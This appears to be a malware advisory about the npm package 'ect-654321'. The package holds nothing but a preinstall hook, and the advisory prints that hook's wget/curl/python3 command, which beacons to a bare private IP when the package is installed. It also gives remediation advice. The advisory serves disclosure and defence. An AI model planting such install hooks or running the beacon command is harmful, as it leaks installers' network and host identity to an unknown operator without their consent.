ect-654321@100.0.1

ect-654321 contains only a package.json with a preinstall lifecycle hook that unconditionally executes `wget http://10.107.121.85:8000/callback_wget_654321 || curl http://10.107.121.85:8000/callback_curl_654321 || python3 -c...urlopen('http://10.107.121.85:8000/callback_py_654321')` on `npm install`. The destination is a bare RFC1918 IP on plain HTTP with no documented purpose, and the callback path embeds the package version as a probe identifier. The package ships no library code, no main entry, and an empty author field with description 'Probe', so the only effect of installing it is the outbound beacon. This shape — empty placeholder package + version-numbered callback path + bare-IP HTTP fetch in preinstall — is a dependency-confusion / namespace-probing payload that confirms reachability of the installer's network to the operator and leaks the installer's source IP, DNS resolver, and host identity. The triple-fallback (wget/curl/python3) ensures the beacon fires across diverse install environments. Whether published as red-team research or real attack tooling, the install-time behavior is identical and harmful to any installer that pulls the package. ## Source: ghsa-malware (915a71dc41c4af3d6cd64461d5e64992c2e48d303fd82e3b4aecced81842bba6) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.